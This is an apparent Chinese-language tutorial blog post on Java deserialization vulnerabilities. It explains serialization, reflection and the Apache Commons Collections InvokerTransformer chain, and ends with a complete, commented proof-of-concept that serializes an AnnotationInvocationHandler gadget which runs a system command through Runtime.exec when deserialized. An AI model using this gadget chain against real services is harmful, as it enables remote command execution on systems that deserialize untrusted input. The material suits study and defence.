目录
一、Java的序列化与反序列化
二、对java序列化的理解
三、反序列化的漏洞原理概述
四、关于反射链
在这里我们直接自己定义一个类,然后对这个类的对象(一个实例)进行序列化和发序列化测试。
//引入必要的java包文件 import java.io.*; //创建测试类,注意要继承Serializable接口 class serialdemo implements Serializable{ public static int number; public serialdemo(int inputnum) { this.number = inputnum; } } //主类 public class test{ //测试主类 public static void main(String[] args) throws IOException, ClassNotFoundException { //主函数入口 serialdemo object = new serialdemo(100); FileOutputStream fileoutputstream = new FileOutputStream("serail.ser");//创建文件写入对象 ObjectOutputStream outputstream = new ObjectOutputStream(fileoutputstream);//创建类型序列化通道对象 outputstream.writeObject(object);//把类对象(实例)序列化进入文件 outputstream.close(); FileInputStream fileinputstream = new FileInputStream("serail.ser");//从文件读取对象 ObjectInputStream inputstream = new ObjectInputStream(fileinputstream);//对象反序列化 // 通过反序列化恢复对象obj serialdemo object2 = (serialdemo)inputstream.readObject(); System.out.println("反序列化后的对象的值:"); System.out.println(object2.number); inputstream.close(); } }既然自己定义的类都可以了,那么默认的java存在的数据类型的实例当然也都可以啦~运行结果如下:
└─[$]> java test 反序列化后的对象的值: 1001、api定位:
java.io.ObjectOutputStream -> writeObject() java.io.ObjectInputStream -> readObject() 序列化把对象序列化成字节流 反序列化读取字节流反序列化对象
2、实现Serializable和Externalizable接口的类才能序列化与反序列化。
3、java的反射机制:
在java运行状态中 1.对于任何一个类,都能判断对象所属的类; 2.对于任何一个类,都能获取其所有的属性和方法; 3.对于任何一个对象,都能调用任意一个方法和属性;
1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能,攻击者可以通过构造特定的恶意对象序列化后的流,让目标反序列化,从而达到自己的恶意预期行为,包括命令执行,甚至getshell等等。
2、Apache Commons Collections
这是开源小组Apache研发的一个Collections收集器框架,提供诸如list、set、queue等功能对象。这个框架中有一个接口,其中有一个实现该接口的类可以通过调用java的反射机制来调用任意函数,这个接口类是InvokerTransformer。这个架构的广泛使用,也导致了java反序列化漏洞的大面积流行。
3、java执行系统命令:
//命令执行函数 public void test() throws IOException, InterruptedException { Process process = Runtime.getRuntime().exec("whoami"); InputStream inputstream = process.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(inputstream)); process.waitFor(); if (process.exitValue() != 0) { //说明命令执行失败 //可以进入到错误处理步骤中 } //打印输出信息 String s = null; while ((s = reader.readLine()) != null) { System.out.println(s); } }简介:
Runtime.getRuntime().exec("command_string");
回显呢:
Process process = Runtime.getRuntime().exec("command_string");
InputStream inputstream = process.getInputStream();
BufferReader reader = new BufferReader(new InputStreamReader(inputstream));
System.out.prinln(reader.readLine());
把上面结合起来就是序列化的打法。
以前一直不理解反射链是什么定西,现在我们来看看接口源代码:
我们来理一理这一段:
开始:
可以看出来这个方法,属于一个对象,输出另外一个对象,完成了类型的转换。同时这个接口还可以串联完成一系列的转换,构成反射链。
Apache Commons Collections中已经实现了一些常见的Transformer,其中有一个可以通过Java的反射机制来调用任意函数,叫做InvokerTransformer,代码如下:
public class InvokerTransformer implements Transformer, Serializable { ... /* Input参数为要进行反射的对象, iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型 iArgs为对应方法的参数 在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数 */ public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } } }只需要传入方法名、参数类型和参数,即可调用任意函数。
在这里,我们可以看到,先用ConstantTransformer()获取了Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令。依次调用关系为: Runtime --> getRuntime --> exec()。因此,我们要提前构造 ChainedTransformer链,它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数,进而执行命令。正式开始时,我们先构造一个TransformeMap实例,然后想办法修改它其中的数据,使其自动调用tansform()方法进行特定的变换(即我们之前设定好的)
五、poc原理分析:
参考大牛博客,给出一个原理解释知识点
ConstantTransformer 把一个对象转化为常量,并返回。
InvokerTransformer 通过反射,返回一个对象
ChainedTransformer ChainedTransformer为链式的Transformer,会挨个执行我们定义Transformer
不得不说上面大牛博客分析的大段的代码原理我基本都不懂,因为不是java程序员的我对此真是摸不着头脑,但是我们可以做如下总结:
1、java反序列化可以远程执行命令。 2、java执行命令用到Runtime.getRuntime().exec("whoami"); 3、java在apache commons collections中存在InvokerTransoformer接口可以串联对对象进行转化,形成反射链。 4、ConstantTransformer可以把对象转换为常量返回。 5、ChainedTransformer为链式的Transformer,会挨个执行我们定义Transformer 6、AnnotationInvocationHandler类可以导致命令执行在readobject时候自动执行
POC的思路:
1)首先构造一个Map和一个能够执行代码的ChainedTransformer, 2)生成一个TransformedMap实例 3)实例化AnnotationInvocationHandler,并对其进行序列化, 4)当触发readObject()反序列化的时候,就能实现命令执行。 POC执行流程为 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功触发
分析大牛poc核心代码逻辑:
/* 核心逻辑表达式: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit"); 主函数中: 1、定义一个要执行的命令字符串:String commandstring = "whoami"; 2、定义一个执行逻辑: Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null}) new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring}) } 3、执行逻辑转化操作(ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作): Transformer transformedChain = new ChainedTransformer(transformers); 4、后面是关于不关心的东西,写死即可: Map<String,String> BeforeTransformerMap = new HashMap<String,String>(); BeforeTransformerMap.put("hello", "hello"); Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, AfterTransformerMap); File f = new File("temp.bin"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); */ //引入必要的java包文件 import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import java.util.Map.Entry; //引入第三方包文件,也就是关于apache的那几个包 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; //主类 public class POC_Test{ public static void main(String[] args) throws Exception { //定义待执行的命令: String commandstring = "whoami"; //定义一个反射链,确定预定的转化逻辑 /* 定义一个反射链的方法: Transformer[] varitename = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null}) new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring}) } */ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), /* 由于Method类的invoke(Object obj,Object args[])方法的定义 所以在反射内写new Class[] {Object.class, Object[].class } 正常POC流程举例: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit"); */ new InvokerTransformer( "getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] } ), new InvokerTransformer( "invoke", new Class[] {Object.class,Object[].class }, new Object[] {null, null } ), new InvokerTransformer( "exec", new Class[] {String[].class }, new Object[] { commandstring } //new Object[] { execArgs } ) }; //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作 Transformer transformedChain = new ChainedTransformer(transformers); //BeforeTransformerMap: Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict //Map<String, String> BeforeTransformerMap = new HashMap<String, String>(); Map<String,String> BeforeTransformerMap = new HashMap<String,String>(); BeforeTransformerMap.put("hello", "hello"); //Map数据结构,转换后的Map /* TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。 第一个参数为待转化的Map对象 第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空) 第三个参数为Map对象内的value要经过的转化方法。 */ //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null)); Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, AfterTransformerMap); File f = new File("temp.bin"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); } } /* 思路:构建BeforeTransformerMap的键值对,为其赋值, 利用TransformedMap的decorate方法,对Map数据结构的key/value进行transforme 对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行 执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........) 利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec() */